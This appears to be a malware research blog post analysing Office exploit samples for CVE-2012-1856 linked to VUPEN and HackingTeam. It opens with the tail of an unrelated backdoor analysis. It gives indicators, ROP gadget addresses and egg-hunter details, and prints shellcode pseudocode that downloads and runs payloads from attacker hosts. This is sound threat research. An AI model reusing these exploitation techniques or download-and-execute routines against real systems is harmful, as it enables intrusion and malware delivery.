MD5 6bde5462f45a230edc7e7641dd711505
Copyright Copyright © Microsoft 2015
Publisher Microsoft
Product OkoloVch-Server
Internal name Windows Update.exe
File version 1.0.0.0
Debug path D:\1-Visual Basic Proggetti\UtilityWarrior\UtilityWarrior\obj\Debug\UtilityWarrior.pdb
First seen on VirusTotal 2015-08-04 12:22:45 UTC
References VirusTotal, Hybrid-Analysis, Malwr.com

c&c

When the backdoor is being analyzed in a sandbox one can observe DNS request for the “login.loginto.me” domain. Passive DNS indicates that this domain has been pointing to the IP address: 23.249.225.140.

dns_web

DNS request for login.loginto.me

 

Possible c&c commands – unconfirmed for now

Handshake, Pipe, Status, Plugin, ShutdownClient, RestartClient, UninstallClient, RestartPC, ClosePC, GetSoftware, ErSoftware, unistallSoftware, GetDriver, GetFiles, SearchFolder, RunFile, DeleteFile, RenameFile, DownloadTCP, UploadTCP, DownloadURL, RefreshLog, ClearLog, UnblockEverything, BlockEverything, RemoteDesktop, MonitorCounts, PcBounds, ShortLinkFolder

Appendix

1st stage shellcode pseudocode

VirtualAlloc = rorExtractFunction(0x1EDE5967h, kernel32Base);
lpvBuffer = VirtualAlloc(0, 0x500000, 0x3000, 0x40);
funcArr = {0x0AC0A138E, 0x14B19C2, 0x9AA5F07Dh, 0x0};
{GetFileSize, CreateFileMappingA, MapViewOfFile} = rorExtractFunction(lpvBuffer, kernel32Base);
  
hFile = 0;
  
// Locate the start of the RTF file in memory
while (true) {
  do {
    hFile += 4;
    dFileSize = GetFileSize(hFile, 0);
  } while (dFileSize < 0xA000 || dFileSize > 0x200000);
  
  hFileMappingObject = CreateFileMappingA(hFile, 0, 2, 0, 0, 0);
      
  if (hFileMappingObject) {
    lpvFileView = MapViewOfFile(hFileMappingObject, 4, 0, 0, 0);
    if (lpvFileView) {
      if (&lpvFileView == "{\rt") {
        break;
      }
    }
  }
}
  
lpvFileView += 0x10000;
  
// Locate the encrypted 2nd stage shellcode preceded by the fefefefe fefefefe ffffffff tag
while (true) {	  
  do {
    lpvFileView += 4;
  } while (&lpvFileView != 0xFEFEFEFE);
	
  do {
    lpvFileView++;
  } while ((char*)lpvFileView == 0xFE);
	
  if (&lpvFileView == 0xFFFFFFFF) {
    scAddr = lpvBuffer + 0x1000;
    memcpy(lpvBuffer, lpvFileView + 4, 0x1000);
    scAddr(kernel32Base, lpvFileView, hFile, dFileSize, lpvBuffer);
  }
}

Analyzing VUPEN’s CVE-2012-1856

Part 1: Overview

Quite some time ago (more than a year before the HackingTeam leaks) I came across a number of interesting exploit samples that make use of CVE-2012-1856. With the recent HackingTeam leaks a number of connections can now be made between this vulnerability discovered by VUPEN and the usage of HackingTeam’s RCS backdoor.

CVE-2012-1856 is a use-after-free vulnerability in the ‘TabStrip’ ActiveX Control present in the ‘MSCOMCTL.OCX’ library. This vulnerability has first been discovered by Nicolas Joly of VUPEN and has been patched by Microsoft on 2012-08-14 in MS12-060. A weaponized exploit is being offered to customers of VUPEN:

In-depth technical analysis of the vulnerability and a fully functional
exploit including ASLR/DEP bypass are available through the VUPEN BAE
(Binary Analysis & Exploits) portal [http://seclists.org/bugtraq/2012/Sep/47]

Identified samples

The number of samples that seem to exploit the CVE-2012-1856 ‘TabStrip UAF’ appears to be limited. Even though no concrete statistics seem to be publically available, only a very limited amount of samples could be recovered from VirusTotal.

The following list contains an overview of the samples that could be identified as weaponized CVE-2012-1856 samples. More samples that trigger the CVE-2012-1856 vulnerability have been identified, although these samples did not result in an infected attempt when tested with Office 2007 and 2010. These samples are likely just PoCs.

Doc family – Possibly developed by an independent party

To begin with, two quite similar samples that are likely developed by a party not related to HT or VUPEN. These samples trigger the TabStrip UAF and contain a malicious executable, however an infection attempt could not be observed. These samples possibly use ROP gadgets from a library that was not present on any of the testing machines. The other identified samples use ROP gadgets present in the MSCOMCTL.OCX library.

These samples also do not seem to be as universal as the other identified weaponized exploits. A user first has to enable Macro’s before the TabStrip use-after-free can be triggered, this is not the case with the other samples.

Doc sample 1: China-Xi dan Amerika-Obama, Winnie the Pooh.doc

MD5 0a363f2f61bc2483d8cd85722328b804 (VT / cryptam)
First seen on VirusTotal 2013-07-14 09:12:45 UTC
Extracted executable using foremost (MD5) acdbb0d5bea262396f83e53240941c6a (VT)
Lure Indonesian article about Chinese censorship of Winnie the Pooh and Tigger

Doc sample 2 – Elise dropper

MD5 78761220af4d57c17e08f7d1bf72906e (VT / cryptam)
First seen on VirusTotal 2013-06-24 09:02:38 UTC
Extracted executable using foremost (MD5) 6631d67f8baedfc0a244a74cf1411057 (VT)
Lure Conference of Philippine Air Force

XLS family

This family of samples uses an Excel file for exploiting CVE-2012-1856. These XLS samples have a certain key characteristics in common like for example:

  • A shared creation time of 2010-07-28 08:30:50
  • The same placement of ActiveX controls within the excel sheet
  • Similar shellcode


XLS sample 1: document.xls – Hacking Team demo

MD5 c1289a1d9f8a3f4c17e4edac905020a8 (VT / cryptam)
First seen on VirusTotal 2015-07-07 16:13:39 UTC
Downloads payload from hxxp://rcs-demo.hackingteam.it/246.exe

Note: This sample originates from the HackingTeam dump and has possibly been used for demonstration purposes.

XLS sample 2: 0000000025.xls

MD5 308934332780eae73f438183b4f05c67 (VT / cryptam)
First seen on VirusTotal 2013-06-28 11:41:52 UTC
Downloads payload from hxxp://62.109.31.96/0000000025/0000000025.exe

Note: The IP address 62.109.31.96 is known to be Hacking Team related.

XLS sample 3: Reduced Prices.xls

MD5 49b5a24a4b7b8fffc5abb5584c8102a9 (VT / cryptam)
First seen on VirusTotal 2014-02-25 11:32:15 UTC
Downloads payload from hxxp://prounion.mooo.com/files/wdlps32.exe
Last modified by jl
Code Page Windows Korean (Unified Hangul Code)
Lure Pricelist of home appliances

Note: According to Scumware.org the file previously hosted at prounion.mooo.com/files/wdlps32.exe has an MD5 hash of b6021aadc9379c73bdc4ba55bbb6d4d2

XLS sample 4: test.xls

MD5 d9f61471d3460d33e27a0f5e15fd9af3 (VT / cryptam)
First seen on VirusTotal 2014-03-10 13:28:18 UTC
Downloads payload from hxxp://avast-update.com/files/wdlps32.exe
Last modified by jl
Code Page Windows Korean (Unified Hangul Code)
Lure List of companies located in North Korea

Note: According to Scumware.org the executable hosted at avast-update.com/files/wdlps32.exe was the same file as the one hosted at prounion.mooo.com/files/wdlps32.exe.


RTF sample – CVE-2012-0158 / CVE-2012-1856 combo-exploit

MD5 f0b1e810bb28bb98bafa9f2865a83d0f (VT / cryptam)
First seen on VirusTotal 2012-10-15 07:13:57 UTC
Downloads payload from hxxp://www.l7steps.com/stage2
File Type RTF
Creation date 2012-04-20 01:51:00
Default languages French – France

Note: According to an email present in the Hacking Team archive the domain ‘l7steps.com’ (83.111.56.188) has been used as an RCS Collector.

l7steps_collector_screenshot

l7steps.com as mentioned in a Hacking Team e-mail


Part 2a: Closer look at XLS sample 1 – Hacking Team demo

MD5 c1289a1d9f8a3f4c17e4edac905020a8 (VT / cryptam)
First seen on VirusTotal 2015-07-07 16:13:39 UTC
Downloads payload from hxxp://rcs-demo.hackingteam.it/246.exe

This exploit sample is an Excel file which contains two ActiveX controls which are used to exploit CVE-2012-1856.

Configurations targeted

Only Excel 2007 installations before the MS12-027 patch seem to be targeted. No infected attempt or crash has been observed when other configurations were being tested.

OFFICE 2007 VERSION TARGETED VULNERABILITY
MS12-027 not installed CVE-2012-1856

CVE-2012-1856 exploitation + 1st stage shellcode

Exploiting this use-after-free vulnerability does not seem to be very trivial. However, the developer of this exploit has found a way to exploit this vulnerability without scripting (AS/JS/VBS), stack pivot or the use of a heap spray.

When Page Heap is enabled an access violation can be observed at a call dword ptr [ecx+8] instruction that can be controlled by the attacker.

xls_access_violation

Access Violation with Page Heap enabled

Right before this controlled indirect call a push eax operation takes place. At this point eax contains a reference to the heap chunk (0x0360908c) that contains the 1st stage egg hunter shellcode. The address of this shellcode will thus be pushed on to the stack.

xls_push_eax_call_ptr_ecx

A ROP gadget at address 0x275bc6e0 is being called to redirect the execution flow. (The address 0x275bc6e0 is present as a byte sequence at the address 0x275b89a + 0x8 inside of the MSCOMCTL.OCX library.) This ROP gadget contains a pop esi instruction that will be used to pop the return address – pushed on to the stack by the call instruction – from the stack.

xls_rop

After popping the return address from the stack no further obstacles exists to gain code execution after the ret 0x275b instruction.

xls_rop_pop_esi

At the end of the ROP gadget instead of returning to the instruction following the indirect call the ROP gadget will return to the heap chunk controlled by the attacker.

xls_rop_final_ret

By popping the return address created by the call dword ptr instruction from the stack and returning to the controlled heap chunk there is no need for a stack pivot.

After the execution flow has been redirected a 1st stage egg hunter shellcode is being executed to locate the main shellcode in memory. This egg hunter shellcode uses NtAccessCheckAndAuditAlarm  to locate the sequence of ‘0x90419041’ dwords preceding the main shellcode. The egg hunter used in this exploit is quite standard and only capable of performing 32 bit syscalls.

A fairly commented version of the egg hunter can be found on onlinedisassembler.com.

Main shellcode analysis

The main shellcode is preceded by a large byte sequence which functions as a tag for the egg hunter. This byte sequence consists of 64 repetitions of 0x41904190. The main shellcode is an unencrypted download&execute shellcode that uses GetProcAddress to retrieve the addresses of required functions.

The main behavior of the shellcode can be visualized using the following pseudocode:

// Extraction of the first function addresses happens using a loop.
// This has been left out in the pseudocode for simplicity.
CreateProcessA = GetProcAddress(kernel32, "CreateProcessA");
GetEnvironmentVariableA = GetProcAddress(kernel32, "GetEnvironmentVariableA");
ExitProcess = GetProcAddress(kernel32, "ExitProcess");
LoadLibraryA = GetProcAddress(kernel32, "LoadLibraryA");

LoadLibraryA("urlmon");
URLDownloadToFileA = GetProcAddress(urlmon, &quot;URLDownloadToFileA&quot;);

GetEnvironmentVariableA("TEMP", &tmpFolder, 0xf8);
&tmpFolder += "\O1_YVt1.exe";

URLDownloadToFileA(0x0, &"hxxp://rcs-demo.hackingteam.it/246.exe", &tmpFolder, 0x0, 0x0)
CreateProcessA(&tmpFolder, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, &lpStartupInfo, &lpProcessInformation);
ExitProcess(0x0);

Part 2b: Closer look at CVE-2012-0158 / CVE-2012-1856 combo-exploit

MD5 f0b1e810bb28bb98bafa9f2865a83d0f (VT / cryptam)
First seen on VirusTotal 2012-10-15 07:13:57 UTC
Downloads payload from hxxp://www.l7steps.com/stage2
File Type RTF
Creation date 2012-04-20 01:51:00
Default languages French – France

The second sample being analyzed is an RTF file which exploits CVE-2012-1856. This file contains 4 ActiveX controls, an analysis indicates that these ActiveX controls are used to exploit two separate vulnerabilities: CVE-2012-0158 and CVE-2012-1856

ActiveX Control (In order of appearance) Likely Role
MSComctlLib.TabStrip.2 Used to store the main shellcode
MSComctlLib.TreeCtrl.2 CVE-2012-0158 trigger
MSComctlLib.TabStrip.2 CVE-2012-1856 trigger
MSComctlLib.Toolbar.2 Used to replace the heap chunk
freed by CVE-2012-1856

The presence of a CVE-2012-0158 trigger in this sample is a strong indicator that the exploit code for this sample has been written after the MS12-027 patch. A creation date of 2012-04-20 helps in supporting this theory, even though timestamps of samples are not always the most reliable source of information.

The presence of French language settings could indicate an exploit author of French origin. Please note this could also be an attempt to mask the identity of the real exploit developer.

Configurations targeted

Depending on the installation of the MS12-027 patch CVE-2012-0158 or CVE-2012-1856 will be exploited. Only Office 2007 seems to be targeted.

Office 2007 version Targeted vulnerability
MS12-027 not installed CVE-2012-0158
MS12-027 installed CVE-2012-1856

CVE-2012-0158 and 1st stage shellcode

The first vulnerability exploited in this sample is CVE-2012-0158, a stack-based buffer overflow affecting the TreeView and ListView ActiveX controls. This vulnerability is well-known for being heavily exploited in the wild by different actors

After taking control of the instruction pointer, code execution starts from the stack with a “push esp # ret 8” (0x275ef44a) ROP gadget. After pushing the stack pointer on to the stack execution will be redirected to stack memory storing the 1st stage shellcode.

the address of the push esp # ret gadget and the start of the egg hunter shellcode seen from the RTF file

Egg hunter

A 1st stage egg hunter shellcode is being executed to locate the main shellcode in memory. This egg hunter shellcode uses NtAccessCheckAndAuditAlarm to locate a sequence of ‘0x42904290’ dwords in front of the main shellcode. The egg hunter contains functionality to execute both the 32-bit and 64-bit syscall of NtAccessCheckAndAuditAlarm.

A fairly commented version of the egg hunter can be found on onlinedisassembler.com.

CVE-2012-1856 and code execution

If exploitation of the CVE-2012-0158 stack buffer overflow vulnerability did not occur an attempt at exploiting the CVE-2012-1856 ‘TabStrip’ use-after-free vulnerability takes place. (Please note that this attempt only seems to take place when the malicious document is being closed.)

Redirecting execution flow

Two ActiveX controls are being used to exploit the CVE-2012-1856 vulnerability. One of the TabStrip.2 controls and the Toolbar.2 control are crafted in such a way that the execution flow can be hijacked by the attacker at closure of the document. The freed heap chunk is being replaced by a byte sequence that is present multiple times in the Toolbar.2 control.

The execution flow can once again be hijacked at a call dword ptr [ecx+8] instruction. Right before this controlled indirect call the known push eax operation takes place. At this point eax points to the heap chunk (0x039e4654) that contains the 1st stage egg hunter shellcode and will thus be pushed on to the stack. Consequently a ROP gadget at address 0x275bb639 is being called using the previously mentioned call dword ptr [ecx+8]  instruction. (The value of 0x275bb639 is a legitimate byte sequence stored in the MSCOMCTL.OCX library at the address 0x27589c50 + 8.)

rtf_1st_call

The ROP-gadget at address 0x275bb639 contains an indirect call (call dword ptr [eax+8]) instruction itself.

At this call dword ptr [eax+8]  instruction a 2nd ROP gadget located at the address 0x275cee48 is being called (The value 0x275cee48 is a legitimate byte sequence being stored in the MSCOMCTL.OCX library at the address 0x27588748 + 8)

both calls

After these nested indirect calls two return addresses and the address of the controlled heap chunk are stored on the stack.

This 2nd ROP-gadget located at address 0x275cee48 contains a ret 4 instruction, which allows the attacker to pop the first address from the stack as return address and will increase esp by an additional 4 bytes.

This behavior makes it possible for the 1st ROP gadget to return in to the heap chunk that is controlled by the attacker.

rtf_double_ret

After returning from both gadgets the execution flow will be redirected to the heap chunk controlled by the attacker. (This address was originally pushed on the stack before the first call dword ptr instruction.)

The egg hunter used in the CVE-2012-1856 part of the sample is almost exactly the same as the egg hunter used in combination with the CVE-2012-0158 part of this exploit sample.

Main shellcode and payload

The main shellcode is preceded by a large byte sequence which functions as a tag for the egg hunter. This byte sequence consists of 128 repetitions of 0x42904290. This shellcode attempts to download another shellcode to memory and uses ROR-13 hashing to check retrieved function names. A disassembly of the main shellcode can once again be found on onlinedisassembler.com

The following functions are being resolved using ROR-13 hashing:

Function ROR-13 hash
LoadLibraryA 0xec0e4e8e
VirtualAlloc 0x91afca54
InternetOpenA 57e84429
InternetOpenUrlA 7e0fed49
InternetReadFile 5fe348b8

The main behavior of the shellcode can be visualized using the following pseudocode:

LoadLibraryA("wininet");
lpBuffer = VirtualAlloc(0x0, 0x3000, 0x10000, 0x40);
hInternet = InternetOpenA(0x0, 0x0, 0x0, 0x0. 0x0)
hFile = InternetOpenUrlA(hInternet, &"hxxp://www.l7steps.com/stage2", 0x0, 0x0, 0x0, 0x0);
while (&numberOfBytesRead == 0x100) {
  InternetReadFile(hFile, lpBuffer, 0x100, &numberOfBytesRead);
  lpBuffer += 0x100;
}
jump lpBuffer;

The shellcode attempts to download a payload from from hxxp://www.l7steps.com/stage2. At time of writing this file was offline, although it is likely that this payload contained shellcode capable of dropping the actual backdoor.

Conclusion

It is plausible to assume that VUPEN’s CVE-2012-1856 has been used multiple times to drop HackingTeam’s RCS backdoor. At which scale is unknown, although this vulnerability does not seem to be as embraced by APT actors as for example CVE-2012-0158.

A number of similarities between the XLS samples and the RTF sample are noticeable despite the presence of different shellcodes:

  • The same vulnerability is being exploited, which only seems to have been used in the wild at a limited scale.
  • A comparable technique is being used to take over the execution flow at the controlled CALL DWORD PTR [ECX+8] instruction.
  • The analyzed egg hunters increment in steps of 0x7c.
  • The analyzed main shellcodes start with similar tag sequences.

Answering the question of which HackingTeam customers might have deployed the mentioned exploit samples is irrelevant for this analysis.

Acknowledgements

I would like to thank Edwin Engels and Mark Loman for providing samples and giving feedback on a part of this analysis.